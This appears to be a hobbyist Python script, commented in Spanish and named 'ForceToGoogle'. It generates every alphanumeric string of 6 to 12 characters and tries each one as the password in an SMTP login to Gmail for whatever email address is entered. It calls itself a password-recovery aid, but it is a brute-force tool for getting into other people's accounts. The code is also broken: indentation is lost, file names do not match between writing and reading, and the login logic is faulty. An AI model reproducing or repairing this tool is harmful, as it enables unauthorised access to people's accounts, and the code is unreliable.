# coding=utf-8
########################################################################################################################
#DESARROLLO
#Este programa se encarga de averiguar contraseñas de cuentas de google generando todas las combinaciones posibles de
#palabras de 6 a 12 caracteres de longitud - Este programa esta pensado para que no tengas que cambiar tu ontraseña
#otra vez... si has olvidado tu contraseña usa este programa para que la averigue y la tendrás de nuevo
########################################################################################################################
########################################################################################################################
#ANÁLISIS
#Realizar menu con decoración
#Longitud de caracteres variables de 6 a 12 caractares
#Hay que descargar el modulo colorama
#Se debe saber con antelación el usuario para poder averiguar la contraseña
#Entrada de datos: Longitud de caracteres que queremos que tenga nuestras claves generadas, si comprobar la contraseña o queremos generar claves
#Salida de datos: Claves generadas y si cuando se compruebe con tu cuenta de google la contraseña correcta que la imprima en pantalla
########################################################################################################################
########################################################################################################################
#DISEÑO
#Importar librerias
#Crear archivo donde se van a guardar las libreriass
#Crear variables
#Crear archivos donde guardamos las contraseñas con distintas longitudes de caracter
#Crear menu
#Una vez elegido la opcion del menu crear contraseñas de x caracteres 1-Generar contraseñas de x caracteres 2-comprobar contraseñas generadas 3-Salir
#Crear bucle for donde introduzca cada contraseña generada al inicio de sesión de google
#Que muestre en pantalla si la contraseña es correcta o no
########################################################################################################################
import smtplib, os, sys, colorama
from os import listdir
from typing import Any
from colorama import init, Fore
from termcolor import colored
import time
import random
colorama.init()
num = 0
num = int(num)
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
car = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnÑñOoPpQqRrSsTtUuVvWwXxYyZz0123456789"
def menu():
Google = Fore.BLUE+"G"+Fore.RED+"o"+Fore.YELLOW+"o"+Fore.BLUE+"g"+Fore.GREEN+"l"+Fore.RED+"e"
Force = Fore.YELLOW+"Force"
print("##########################################")
print(" "+Force+Fore.WHITE+"To"+Google+" ")
print(Fore.WHITE + "##########################################")
print("Realizado por Jesús Daza Hernández")
print(Fore.GREEN + '----------------------------O------------------------------')
print(Fore.RED+"["+Fore.WHITE+"1"+Fore.RED+"]", Fore.CYAN+"Generar claves")
print(Fore.RED+"["+Fore.WHITE+"2"+Fore.RED+"]", Fore.CYAN+"Comporbar claves generadas")
print(Fore.RED+"["+Fore.WHITE+"3"+Fore.RED+"]", Fore.CYAN+"Salir de FTG"+Fore.WHITE)
def Fuerzabruta6():
archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
con = str(a + b + c + d + e + f)
archivo_6.write(con+"\n")
def Fuerzabruta7():
archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
con = str(a + b + c + d + e + f + g)
archivo_7.write(con+"\n")
def Fuerzabruta8():
archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_8.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
con = str(a + b + c + d + e + f + g + h)
archivo_8.write(con+"\n")
def Fuerzabruta9():
archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_9.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
for i in car:
con = str(a + b + c + d + e + f + g + h + i)
archivo_9.write(con+"\n")
def Fuerzabruta10():
archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_10.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
for i in car:
for j in car:
con = str(a + b + c + d + e + f + g + h + i + j)
archivo_10.write(con+"\n")
def Fuerzabruta11():
archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_11", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
for i in car:
for j in car:
for k in car:
con = str(a + b + c + d + e + f + g + h + i + j + k)
archivo_11.write(con+"\n")
def Fuerzabruta12():
archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_12.txt", "w")
for a in car:
for b in car:
for c in car:
for d in car:
for e in car:
for f in car:
for g in car:
for h in car:
for i in car:
for j in car:
for k in car:
for l in car:
con = str(a + b + c + d + e + f + g + h + i + j + k + l)
archivo_12.write(con+"\n")
def ComprobarClaves():
try:
smtpserver.login(email, pwd)
print(Fore.GREEN+"CONTRASEÑA CORRECTA")
print("La contraseña es: ", Fore.BLUE+pwd)
archivo.close()
except smtplib.SMTPAuthenticationError:
pass
def salir():
sys.exit()
menu()
opc = input(">> ")
opc = int(opc)
os.system("cls")
if opc == 1:
print("Longitud de las claves a generar(6-12)")
longitud = input(">> ")
longitud = int(longitud)
if longitud >=6 and longitud <=12:
if longitud == 6:
Fuerzabruta6()
elif longitud == 7:
Fuerzabruta7()
elif longitud == 8:
Fuerzabruta8()
elif longitud == 9:
Fuerzabruta9()
elif longitud == 10:
Fuerzabruta10()
elif longitud == 11:
Fuerzabruta11()
elif longitud == 12:
Fuerzabruta12()
else:
print("Tienes que elegir una longitud para tus claves a generar del 1 al 12")
menu()
if opc == 2:
print("Elige un archivo de contraseñas que quieras comprobar")
for cosa in listdir("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas"):
print(Fore.RED+"["+Fore.WHITE+str(num)+Fore.RED+"]", Fore.YELLOW+cosa+Fore.WHITE)
num = int(num) + 1
arch_comp = input("Archivo a comprobar(poner nombre completo sin extension) >> ")
os.system("cls")
email = input("Tu email: ")
if arch_comp == "contraseñas_6":
archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "r")
for pwd in archivo_6:
ComprobarClaves()
if arch_comp == "contraseñas_7":
archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "r")
for pwd in archivo_7:
ComprobarClaves()
if arch_comp == "contraseñas_8":
archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_8.txt", "r")
for pwd in archivo_8:
ComprobarClaves()
if arch_comp == "contraseñas_9":
archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_9.txt", "r")
for pwd in archivo_9:
ComprobarClaves()
if arch_comp == "contraseñas_10":
archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_10.txt", "r")
for pwd in archivo_10:
ComprobarClaves()
if arch_comp == "contraseñas_11":
archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_11.txt", "r")
for pwd in archivo_11:
ComprobarClaves()
if arch_comp == "contraseñas_12":
archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_12.txt", "r")
for pwd in archivo_12:
ComprobarClaves()
if opc == 3:
salir()